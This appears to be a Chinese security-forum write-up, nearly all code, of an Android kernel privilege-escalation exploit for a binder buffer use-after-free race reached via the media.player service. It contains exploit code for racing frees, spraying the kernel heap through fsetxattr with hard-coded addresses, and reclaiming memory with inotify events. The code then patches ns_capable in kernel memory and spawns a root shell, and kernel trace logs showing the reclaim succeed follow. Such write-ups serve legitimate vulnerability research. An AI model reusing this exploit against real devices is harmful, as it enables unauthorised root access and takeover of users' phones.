class MediaPlayerBase : public MediaPlayer
{
public:
MediaPlayerBase() {};
~MediaPlayerBase() {};
sp<IMediaPlayer> creatMediaPlayer()
{
sp<IMediaPlayerService> service(getMediaPlayer());
sp<IMediaPlayer> player(service->create(this, getAudioSessionId()));
return player;
}
};
sp<IMediaPlayerService> getMediaPlayer()
{
sp<IServiceManager> sm = defaultServiceManager();
String16 name = String16("media.player");
sp<IBinder> service = sm->checkService(name);
sp<IMediaPlayerService> mediaService = interface_cast<IMediaPlayerService>(service);
return mediaService;
}
void bc_free_buffer(int replyParcelIndex)
{
replyArray[replyParcelIndex].~Parcel();
IPCThreadState::self()->flushCommands();
}
void* bc_transaction(void *arg)
{
.....
dataBCArray[global_parcel_index].writeInterfaceToken(String16("android.media.IMediaPlayer"));
IInterface::asBinder(mediaPlayer)->transact(GET_PLAYBACK_SETTINGS, dataBCArray[global_parcel_index], &replyBCArray[global_parcel_index], 0);
.....
return arg;
}
MediaPlayerBase* mediaPlayerBase = new MediaPlayerBase();
mediaPlayer = mediaPlayerBase->creatMediaPlayer();
void put_baits()
{
for (int i = 0; i < BAIT; i++)
{
dataArray[i].writeInterfaceToken(String16("android.media.IMediaPlayer"));
IInterface::asBinder(mediaPlayer)->transact(GET_PLAYBACK_SETTINGS, dataArray[i], &replyArray[i], 0);
gDataArray[i] = replyArray[i].data();
}
}
void bc_free_buffer(int replyParcelIndex)
{
replyArray[replyParcelIndex].~Parcel();
IPCThreadState::self()->flushCommands();
}
void* bc_transaction(void *arg)
{
pthread_mutex_lock(&alloc_mutex);
while(1)
{
pthread_cond_wait(&alloc_cond, &alloc_mutex);
dataBCArray[global_parcel_index].writeInterfaceToken(String16("android.media.IMediaPlayer"));
IInterface::asBinder(mediaPlayer)->transact(GET_PLAYBACK_SETTINGS, dataBCArray[global_parcel_index], &replyBCArray[global_parcel_index], 0);
}
pthread_mutex_unlock(&alloc_mutex);
return arg;
}
void raceWin(int replyParcelIndex)
{
pthread_mutex_lock(&alloc_mutex);
bc_free_buffer(replyParcelIndex);
global_parcel_index = replyParcelIndex;
pthread_cond_signal(&alloc_cond);
pthread_mutex_unlock(&alloc_mutex);
usleep(450);
bc_free_buffer(replyParcelIndex);
bc_free_buffer(replyParcelIndex - 1);
}
void raceTimes()
{
for(int i = BAIT - 1; i > 0; i--)
{
raceWin(i);
}
}
usleep(450);
bc_free_buffer(replyParcelIndex);
bc_free_buffer(replyParcelIndex - 1);
dataBCArray[global_parcel_index].writeInterfaceToken(String16("android.media.IMediaPlayer"));
IInterface::asBinder(mediaPlayer)->transact(GET_PLAYBACK_SETTINGS, dataBCArray[global_parcel_index], &replyBCArray[global_parcel_index], 0);
void heapGuard()
{
fsetxattr(fd_guard_heap, "user.g", guardBuffer, 1000, 0);
}
void heap_spray()
{
char buff[BUFF_SIZE];
memset(buff, 0 ,BUFF_SIZE);
*(size_t *)((char *)buff + 64) = 20;
*(size_t *)((char *)buff + 88) = 0xffffffc001e50834;
fsetxattr(fd_heap_spray, "user.x", buff, BUFF_SIZE, 0);
}
void heap_spray_times()
{
for (int i = 0; i < HEAP_SPRAY_TIME; i++)
{
heap_spray();
heapGuard();
}
}
void raceWin(int replyParcelIndex)
{
pthread_mutex_lock(&alloc_mutex);
bc_free_buffer(replyParcelIndex);
global_parcel_index = replyParcelIndex;
pthread_cond_signal(&alloc_cond);
pthread_mutex_unlock(&alloc_mutex);
usleep(450);
bc_free_buffer(replyParcelIndex);
bc_free_buffer(replyParcelIndex - 1);
heap_spray_times();
...
}
struct binder_buffer {
struct list_head entry;
struct rb_node rb_node;
unsigned free:1;
unsigned allow_user_free:1;
unsigned async_transaction:1;
unsigned free_in_progress:1;
unsigned debug_id:28;
struct binder_transaction *transaction;
struct binder_node *target_node;
size_t data_size;
size_t offsets_size;
size_t extra_buffers_size;
void *data;
};
t->buffer = binder_alloc_new_buf(&target_proc->alloc, tr->data_size,
tr->offsets_size, extra_buffers_size,
!reply && (t->flags & TF_ONE_WAY));
if (IS_ERR(t->buffer)) {
return_error_param = PTR_ERR(t->buffer);
return_error = return_error_param == -ESRCH ?
BR_DEAD_REPLY : BR_FAILED_REPLY;
return_error_line = __LINE__;
t->buffer = NULL;
goto err_binder_alloc_buf_failed;
}
t->buffer->allow_user_free = 0;
t->buffer->debug_id = t->debug_id;
t->buffer->transaction = t;
t->buffer->target_node = target_node;
trace_binder_transaction_alloc_buf(t->buffer);
off_start = (binder_size_t *)(t->buffer->data +
ALIGN(tr->data_size, sizeof(void *)));
offp = off_start;
if (copy_from_user(t->buffer->data, (const void __user *)(uintptr_t)
tr->data.ptr.buffer, tr->data_size))
status_t init_reply_data()
{
setDataSource();
AudioPlaybackRate rate;
rate.mSpeed = 1;
rate.mPitch = 1;
rate.mStretchMode = (AudioTimestretchStretchMode)0;
rate.mFallbackMode = (AudioTimestretchFallbackMode)0x80000e71;
return mediaPlayer->setPlaybackSettings(rate);
}
void kernel_patch_ns_capable(unsigned long * addr) {
unsigned int *p = (unsigned int *)addr;
p[0] = 0xD2800020;
p[1] = 0xD65F03C0;
}
unsigned long ns_capable_addr = 0xffffffc0000b1024 - 0xffffffc000000000 + 0xffffffc200000000;
kernel_patch_ns_capable((unsigned long *) ns_capable_addr);
if(setreuid(0, 0) || setregid(0, 0)){
printf("[-] setgid failed\n");
return -1;
}
if (getuid() == 0)
{
printf("[+] spawn a root shell\n");
execl("/system/bin/sh", "/system/bin/sh", NULL);
}
关于ns_capable_addr地址的计算请参考[原创] CVE-2017-7533 漏洞利用。
void* fillCpu(void *arg)
{
int index = *(int *)arg;
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(index, &mask);
pid_t pid = gettid();
syscall(__NR_sched_setaffinity, pid, sizeof(mask), &mask);
while (!fillFlag)
{
index++;
}
return arg;
}
void fillOtherCpu()
{
int cores = getCores();
printf("[+] cpu count:%d\n", cores);
pthread_t id_cpu1, id1_cpu1, id2_cpu1, id3_cpu1, id4_cpu1, id5_cpu1, id6_cpu1, id7_cpu1;
pthread_t id_cpu2, id1_cpu2, id2_cpu2, id3_cpu2, id4_cpu2, id5_cpu2, id6_cpu2, id7_cpu2;
pthread_t id_cpu3, id1_cpu3, id2_cpu3, id3_cpu3, id4_cpu3, id5_cpu3, id6_cpu3, id7_cpu3;
int cpu1 = 0;
int cpu2 = 2;
int cpu3 = 3;
pthread_create(&id_cpu1, NULL, fillCpu, &cpu1);
pthread_create(&id1_cpu1, NULL, fillCpu, &cpu1);
pthread_create(&id2_cpu1, NULL, fillCpu, &cpu1);
pthread_create(&id3_cpu1, NULL, fillCpu, &cpu1);
pthread_create(&id4_cpu1, NULL, fillCpu, &cpu1);
pthread_create(&id5_cpu1, NULL, fillCpu, &cpu1);
pthread_create(&id6_cpu1, NULL, fillCpu, &cpu1);
pthread_create(&id7_cpu1, NULL, fillCpu, &cpu1);
pthread_create(&id_cpu2, NULL, fillCpu, &cpu2);
pthread_create(&id1_cpu2, NULL, fillCpu, &cpu2);
pthread_create(&id2_cpu2, NULL, fillCpu, &cpu2);
pthread_create(&id3_cpu2, NULL, fillCpu, &cpu2);
pthread_create(&id4_cpu2, NULL, fillCpu, &cpu2);
pthread_create(&id5_cpu2, NULL, fillCpu, &cpu2);
pthread_create(&id6_cpu2, NULL, fillCpu, &cpu2);
pthread_create(&id7_cpu2, NULL, fillCpu, &cpu2);
pthread_create(&id_cpu3, NULL, fillCpu, &cpu3);
pthread_create(&id1_cpu3, NULL, fillCpu, &cpu3);
pthread_create(&id2_cpu3, NULL, fillCpu, &cpu3);
pthread_create(&id3_cpu3, NULL, fillCpu, &cpu3);
pthread_create(&id4_cpu3, NULL, fillCpu, &cpu3);
pthread_create(&id5_cpu3, NULL, fillCpu, &cpu3);
pthread_create(&id6_cpu3, NULL, fillCpu, &cpu3);
pthread_create(&id7_cpu3, NULL, fillCpu, &cpu3);
sleep(10);
}
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
void *vvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;
error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;
if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
if (!kvalue) {
vvalue = vmalloc(size);
if (!vvalue)
return -ENOMEM;
kvalue = vvalue;
}
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
if (vvalue)
vfree(vvalue);
else
kfree(kvalue);
return error;
}
void heapGuard()
{
fsetxattr(fd_guard_heap, "user.g", guardBuffer, 1000, 0);
}
int main()
{
createAllocThread();
nice(-20);
MediaPlayerBase* mediaPlayerBase = new MediaPlayerBase();
mediaPlayer = mediaPlayerBase->creatMediaPlayer();
.....
}
void begin_watch()
{
watch_fd = inotify_init1(IN_NONBLOCK);
if (watch_fd == -1) {
printf("[-] inotify_init1 failed\n");
return;
}
watch_wd = inotify_add_watch(watch_fd, "test_dir",
IN_ALL_EVENTS);
if (watch_wd == -1) {
printf("[-] Cannot watch\n");
return;
}
}
void stop_watch()
{
inotify_rm_watch(watch_fd, watch_wd);
if (watch_fd != 1)
{
close(watch_fd);
}
}
void restartWatch()
{
if (global_parcel_index % 200 == 0)
{
stop_watch();
usleep(100);
begin_watch();
usleep(100);
}
}
void raceWin(int replyParcelIndex)
{
pthread_mutex_lock(&alloc_mutex);
bc_free_buffer(replyParcelIndex);
global_parcel_index = replyParcelIndex;
pthread_cond_signal(&alloc_cond);
pthread_mutex_unlock(&alloc_mutex);
usleep(450);
bc_free_buffer(replyParcelIndex);
bc_free_buffer(replyParcelIndex - 1);
heap_spray_times();
restartWatch();
}
int fsnotify_add_event(struct fsnotify_group *group,
struct fsnotify_event *event,
int (*merge)(struct list_head *,
struct fsnotify_event *))
{
int ret = 0;
struct list_head *list = &group->notification_list;
pr_debug("%s: group=%p event=%p\n", __func__, group, event);
mutex_lock(&group->notification_mutex);
if (group->q_len >= group->max_events) {
ret = 2;
if (!list_empty(&group->overflow_event->list)) {
mutex_unlock(&group->notification_mutex);
return ret;
}
event = group->overflow_event;
goto queue;
}
...
}
struct binder_buffer *binder_alloc_prepare_to_free(struct binder_alloc *alloc,
uintptr_t user_ptr)
{
struct binder_buffer *buffer;
printk(KERN_INFO "jltxgcy binder free begin, pid:%d, user addr:%016llx\n", alloc->pid, (u64)user_ptr);
mutex_lock(&alloc->mutex);
buffer = binder_alloc_prepare_to_free_locked(alloc, user_ptr);
mutex_unlock(&alloc->mutex);
printk(KERN_INFO "jltxgcy binder free end, pid:%d, buffer:%p\n", alloc->pid, buffer);
return buffer;
}
struct binder_buffer *binder_alloc_new_buf(struct binder_alloc *alloc,
size_t data_size,
size_t offsets_size,
size_t extra_buffers_size,
int is_async)
{
struct binder_buffer *buffer;
mutex_lock(&alloc->mutex);
printk(KERN_INFO "jltxgcy binder alloc begin, target pid:%d\n", alloc->pid);
buffer = binder_alloc_new_buf_locked(alloc, data_size, offsets_size,
extra_buffers_size, is_async);
printk(KERN_INFO "jltxgcy binder alloc end, target pid:%d, buffer:%p, buffer user data:%lx\n", alloc->pid, buffer, (uintptr_t)buffer->data + binder_alloc_get_user_buffer_offset(alloc));
mutex_unlock(&alloc->mutex);
return buffer;
}
static void binder_delete_free_buffer(struct binder_alloc *alloc,
struct binder_buffer *buffer)
{
struct binder_buffer *prev, *next = NULL;
bool to_free = true;
BUG_ON(alloc->buffers.next == &buffer->entry);
prev = binder_buffer_prev(buffer);
BUG_ON(!prev->free);
if (prev_buffer_end_page(prev) == buffer_start_page(buffer)) {
to_free = false;
binder_alloc_debug(BINDER_DEBUG_BUFFER_ALLOC,
"%d: merge free, buffer %pK share page with %pK\n",
alloc->pid, buffer->data, prev->data);
}
if (!list_is_last(&buffer->entry, &alloc->buffers)) {
next = binder_buffer_next(buffer);
if (buffer_start_page(next) == buffer_start_page(buffer)) {
to_free = false;
binder_alloc_debug(BINDER_DEBUG_BUFFER_ALLOC,
"%d: merge free, buffer %pK share page with %pK\n",
alloc->pid,
buffer->data,
next->data);
}
}
if (PAGE_ALIGNED(buffer->data)) {
binder_alloc_debug(BINDER_DEBUG_BUFFER_ALLOC,
"%d: merge free, buffer start %pK is page aligned\n",
alloc->pid, buffer->data);
to_free = false;
}
if (to_free) {
binder_alloc_debug(BINDER_DEBUG_BUFFER_ALLOC,
"%d: merge free, buffer %pK do not share page with %pK or %pK\n",
alloc->pid, buffer->data,
prev->data, next->data);
binder_update_page_range(alloc, 0, buffer_start_page(buffer),
buffer_start_page(buffer) + PAGE_SIZE);
}
list_del(&buffer->entry);
kfree(buffer);
printk(KERN_INFO "jltxgcy pid:%d, kfree:%p, cpuid:%d\n", alloc->pid, buffer, smp_processor_id());
}
static void binder_transaction(struct binder_proc *proc,
struct binder_thread *thread,
struct binder_transaction_data *tr, int reply,
binder_size_t extra_buffers_size) {
t->buffer = binder_alloc_new_buf(&target_proc->alloc, tr->data_size,
tr->offsets_size, extra_buffers_size,
!reply && (t->flags & TF_ONE_WAY));
if (IS_ERR(t->buffer)) {
return_error_param = PTR_ERR(t->buffer);
return_error = return_error_param == -ESRCH ?
BR_DEAD_REPLY : BR_FAILED_REPLY;
return_error_line = __LINE__;
t->buffer = NULL;
goto err_binder_alloc_buf_failed;
}
t->buffer->allow_user_free = 0;
t->buffer->debug_id = t->debug_id;
t->buffer->transaction = t;
t->buffer->target_node = target_node;
trace_binder_transaction_alloc_buf(t->buffer);
off_start = (binder_size_t *)(t->buffer->data +
ALIGN(tr->data_size, sizeof(void *)));
offp = off_start;
printk(KERN_INFO "jltxgcy binder ocuppy end, target pid:%d, buffer:%p, free:%d, user_allow_free:%d, buffer data:%p, buffer user data:%lx, cupid:%d\n", target_proc->pid, t->buffer, t->buffer->free, t->buffer->allow_user_free, t->buffer->data, (uintptr_t)t->buffer->data + binder_alloc_get_user_buffer_offset(&target_proc->alloc), smp_processor_id());
if (copy_from_user(t->buffer->data, (const void __user *)(uintptr_t)
tr->data.ptr.buffer, tr->data_size)) {
binder_user_error("%d:%d got transaction with invalid data ptr\n",
proc->pid, thread->pid);
return_error = BR_FAILED_REPLY;
return_error_param = -EFAULT;
return_error_line = __LINE__;
goto err_copy_data_failed;
}
....
}
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
void *vvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;
error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;
if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
printk(KERN_INFO "jltxgcy pid:%d, kvalue:%p, size:%ld\n", current->pid, kvalue, size);
if (!kvalue) {
vvalue = vmalloc(size);
if (!vvalue)
return -ENOMEM;
kvalue = vvalue;
}
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
if (vvalue)
vfree(vvalue);
else
kfree(kvalue);
return error;
}
int inotify_handle_event(struct fsnotify_group *group,
struct inode *inode,
struct fsnotify_mark *inode_mark,
struct fsnotify_mark *vfsmount_mark,
u32 mask, void *data, int data_type,
const unsigned char *file_name, u32 cookie)
{
struct inotify_inode_mark *i_mark;
struct inotify_event_info *event;
struct fsnotify_event *fsn_event;
int ret;
int len = 0;
int alloc_len = sizeof(struct inotify_event_info);
BUG_ON(vfsmount_mark);
if ((inode_mark->mask & FS_EXCL_UNLINK) &&
(data_type == FSNOTIFY_EVENT_PATH)) {
struct path *path = data;
if (d_unlinked(path->dentry))
return 0;
}
if (file_name) {
len = strlen(file_name);
alloc_len += len + 1;
}
pr_debug("%s: group=%p inode=%p mask=%x\n", __func__, group, inode,
mask);
i_mark = container_of(inode_mark, struct inotify_inode_mark,
fsn_mark);
event = kmalloc(alloc_len, GFP_KERNEL);
printk(KERN_INFO "jltxgcy pid:%d, event:%p, alloc_len:%d\n", current->pid, event, alloc_len);
if (unlikely(!event))
return -ENOMEM;
fsn_event = &event->fse;
fsnotify_init_event(fsn_event, inode, mask);
event->wd = i_mark->wd;
event->sync_cookie = cookie;
event->name_len = len;
if (len)
strcpy(event->name, file_name);
ret = fsnotify_add_event(group, fsn_event, inotify_merge);
if (ret) {
fsnotify_destroy_event(group, fsn_event);
}
if (inode_mark->mask & IN_ONESHOT)
fsnotify_destroy_mark(inode_mark, group);
return 0;
}
[ 53.486434] c1 2536 jltxgcy binder alloc begin, target pid:2522
[ 53.486488] c1 2522 jltxgcy binder free begin, pid:2522, user addr:0000007dd3b3c8f0
[ 53.486523] c1 2536 jltxgcy binder alloc end, target pid:2522, buffer:ffffffc06ef79400, buffer user data:7dd3b3c8f0
[ 53.486543] c1 2522 jltxgcy binder free end, pid:2522, buffer:ffffffc06ef79400
[ 53.486554] c1 2522 jltxgcy pid:2522, kfree:ffffffc0be588280, cpuid:1
[ 53.486570] c1 2522 jltxgcy binder free begin, pid:2522, user addr:0000007dd3b3c8d8
[ 53.486577] c1 2522 jltxgcy binder free end, pid:2522, buffer:ffffffc06ef79280
[ 53.486585] c1 2522 jltxgcy pid:2522, kfree:ffffffc06ef79400, cpuid:1
[ 53.486604] c1 2522 jltxgcy pid:2522, kvalue:ffffffc0be588280, size:96
[ 53.486746] c1 2522 jltxgcy pid:2522, event:ffffffc0be588300, alloc_len:54
[ 53.486763] c1 2522 jltxgcy pid:2522, kvalue:ffffffc0c42bf400, size:1000
[ 53.486795] c1 2522 jltxgcy pid:2522, event:ffffffc0be588280, alloc_len:65
.............占位kfree:ffffffc06ef79400成功 省略了
jltxgcy binder ocuppy end, target pid:2522, buffer:ffffffc06ef79400, free:0, user_allow_free:0, buffer data:ffffffc001e50834, buffer user data:7dd3b3c8f0, cupid:1
[ 53.486604] c1 2522 jltxgcy pid:2522, kvalue:ffffffc0be588280, size:96
[ 53.486746] c1 2522 jltxgcy pid:2522, event:ffffffc0be588300, alloc_len:54
[ 53.486763] c1 2522 jltxgcy pid:2522, kvalue:ffffffc0c42bf400, size:1000
[ 53.486795] c1 2522 jltxgcy pid:2522, event:ffffffc0be588280, alloc_len:65
void init_fd_heap_spray()
{
const char * path = "/data/local/tmp/test_dir/abcd.txt";
fd_heap_spray = open(path, O_WRONLY);
if (fd_heap_spray < 0)
{
printf("[-] fd_heap_spray failed\n");
}
}
看雪ID:jltxgcy
https://bbs.pediy.com/user-620204.htm
推荐文章++++